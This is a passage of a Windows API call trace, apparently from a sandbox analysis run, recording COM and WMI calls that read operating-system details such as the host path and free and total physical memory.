riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0261.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b2035b8) returned 0x0 [0261.785] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2035b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.785] WbemLocator:IUnknown:Release (This=0x1b2035b8) returned 0x3 [0261.785] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0261.785] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0261.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b2036a0) returned 0x0 [0261.785] WbemLocator:IRpcOptions:Query (in: This=0x1b2036a0, pPrx=0x1b2036d8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0261.785] WbemLocator:IUnknown:Release (This=0x1b2036a0) returned 0x3 [0261.785] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x2 [0261.785] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0261.785] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0261.785] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b286080) returned 0x0 [0261.786] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0261.786] IUnknown:Release (This=0x1b286080) returned 0x3 [0261.786] IUnknown:Release (This=0x1b286080) returned 0x2 [0261.786] WbemLocator:IUnknown:Release (This=0x1b217720) returned 0x2 [0261.786] SysStringLen (param_1=0x0) returned 0x0 [0261.786] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0261.786] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0261.786] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.786] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0261.786] IUnknown:AddRef (This=0x1b286080) returned 0x3 [0261.786] IEnumWbemClassObject:Clone (in: This=0x1b286080, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b287040) returned 0x0 [0261.788] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b287048) returned 0x0 [0261.788] IClientSecurity:QueryBlanket (in: This=0x1b287048, pProxy=0x1b287040, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0261.788] IUnknown:Release (This=0x1b287048) returned 0x1 [0261.788] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b2021b8) returned 0x0 [0261.788] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b287048) returned 0x0 [0261.788] IClientSecurity:SetBlanket (This=0x1b287048, pProxy=0x1b287040, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0261.791] IUnknown:Release (This=0x1b287048) returned 0x2 [0261.791] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0261.791] CoTaskMemFree (pv=0x1d1e6e40) [0261.791] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b2021b8) returned 0x0 [0261.791] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0261.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0261.842] IUnknown:QueryInterface (in: This=0x1b287040, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0261.842] WbemLocator:IUnknown:AddRef (This=0x1b2021b8) returned 0x3 [0261.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0261.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0261.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b202098) returned 0x0 [0261.843] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202098, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.843] WbemLocator:IUnknown:Release (This=0x1b202098) returned 0x3 [0261.843] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0261.843] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0261.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b202180) returned 0x0 [0261.843] WbemLocator:IRpcOptions:Query (in: This=0x1b202180, pPrx=0x1b2021b8, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0261.843] WbemLocator:IUnknown:Release (This=0x1b202180) returned 0x3 [0261.843] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x2 [0261.843] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0261.843] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0261.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2021b8, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b287040) returned 0x0 [0261.843] IUnknown:AddRef (This=0x1b287040) returned 0x4 [0261.843] IUnknown:Release (This=0x1b287040) returned 0x3 [0261.843] IUnknown:Release (This=0x1b287040) returned 0x2 [0261.843] IUnknown:Release (This=0x1b286080) returned 0x2 [0261.843] SysStringLen (param_1=0x0) returned 0x0 [0261.843] IEnumWbemClassObject:Reset (This=0x1b287040) returned 0x0 [0261.844] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0e80 [0261.845] IEnumWbemClassObject:Next (in: This=0x1b287040, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0e80, puReturned=0x27deec8 | out: apObjects=0x1d1c0e80*=0x1b268f60, puReturned=0x27deec8*=0x1) returned 0x0 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b268f60) returned 0x0 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0261.849] IUnknown:AddRef (This=0x1b268f60) returned 0x3 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0261.849] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b268f68) returned 0x0 [0261.850] IMarshal:GetUnmarshalClass (in: This=0x1b268f68, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0261.850] IUnknown:Release (This=0x1b268f68) returned 0x3 [0261.850] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0261.850] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0261.850] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0261.850] IUnknown:Release (This=0x1b268f60) returned 0x2 [0261.850] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0261.850] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0261.850] IUnknown:QueryInterface (in: This=0x1b268f60, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b268f60) returned 0x0 [0261.850] IUnknown:AddRef (This=0x1b268f60) returned 0x4 [0261.850] IUnknown:Release (This=0x1b268f60) returned 0x3 [0261.850] IUnknown:Release (This=0x1b268f60) returned 0x2 [0261.850] CoTaskMemFree (pv=0x1d1c0e80) [0261.850] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0261.850] IUnknown:AddRef (This=0x1b268f60) returned 0x3 [0261.850] IWbemClassObject:Get (in: This=0x1b268f60, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0261.851] IWbemClassObject:Get (in: This=0x1b268f60, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0261.851] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0261.851] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0261.851] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0261.851] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0261.851] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0261.851] IUnknown:Release (This=0x77dd58) returned 0x1 [0261.853] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9d968 | out: ppv=0x1da9d968*=0x1d217f10) returned 0x0 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1d217f10, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da50 | out: ppvObject=0x1da9da50*=0x0) returned 0x80004002 [0261.853] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1d217f10, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da28 | out: ppvObject=0x1da9da28*=0x1b294820) returned 0x0 [0261.853] WbemDefPath:IUnknown:Release (This=0x1d217f10) returned 0x0 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d7d0 | out: ppvObject=0x1da9d7d0*=0x1b294820) returned 0x0 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d860 | out: ppvObject=0x1da9d860*=0x0) returned 0x80004002 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0261.853] WbemDefPath:IUnknown:AddRef (This=0x1b294820) returned 0x3 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9cf18 | out: ppvObject=0x1da9cf18*=0x0) returned 0x80004002 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cea0 | out: ppvObject=0x1da9cea0*=0x0) returned 0x80004002 [0261.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ce90 | out: ppvObject=0x1da9ce90*=0x1d218090) returned 0x0 [0261.854] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d218090, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9ceb8 | out: pCid=0x1da9ceb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0261.854] WbemDefPath:IUnknown:Release (This=0x1d218090) returned 0x3 [0261.854] CoGetContextToken (in: pToken=0x1da9cf40 | out: pToken=0x1da9cf40) returned 0x0 [0261.854] CoGetContextToken (in: pToken=0x1da9d3c0 | out: pToken=0x1da9d3c0) returned 0x0 [0261.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d480 | out: ppvObject=0x1da9d480*=0x0) returned 0x80004002 [0261.854] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x2 [0261.854] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x1 [0261.854] CoGetContextToken (in: pToken=0x1da9e1b0 | out: pToken=0x1da9e1b0) returned 0x0 [0261.854] CoGetContextToken (in: pToken=0x1da9e0b0 | out: pToken=0x1da9e0b0) returned 0x0 [0261.854] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b294820, riid=0x1da9e210*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1da9e1e0 | out: ppvObject=0x1da9e1e0*=0x1b294820) returned 0x0 [0261.854] WbemDefPath:IUnknown:AddRef (This=0x1b294820) returned 0x3 [0261.854] WbemDefPath:IUnknown:Release (This=0x1b294820) returned 0x2 [0261.854] WbemDefPath:IWbemPath:SetText (This=0x1b294820, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0261.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e598 | out: puCount=0x1da9e598*=0x2) returned 0x0 [0261.854] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e590*=0xf, pszText=0x0) returned 0x0 [0261.854] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0261.855] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0261.855] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.855] IWbemClassObject:Get (in: This=0x1b268f60, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfc90*=0, plFlavor=0x27dfc94*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x27dfc90*=21, plFlavor=0x27dfc94*=0) returned 0x0 [0261.855] SysStringByteLen (bstr="1359840") returned 0xe [0261.855] SysStringByteLen (bstr="1359840") returned 0xe [0261.855] IWbemClassObject:Get (in: This=0x1b268f60, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfc90*=21, plFlavor=0x27dfc94*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1359840", varVal2=0x0), pType=0x27dfc90*=21, plFlavor=0x27dfc94*=0) returned 0x0 [0261.855] SysStringByteLen (bstr="1359840") returned 0xe [0261.855] SysStringByteLen (bstr="1359840") returned 0xe [0261.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e568 | out: puCount=0x1da9e568*=0x2) returned 0x0 [0261.855] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e560*=0xf, pszText=0x0) returned 0x0 [0261.855] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e560*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0261.855] IWbemClassObject:Get (in: This=0x1b268f60, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, 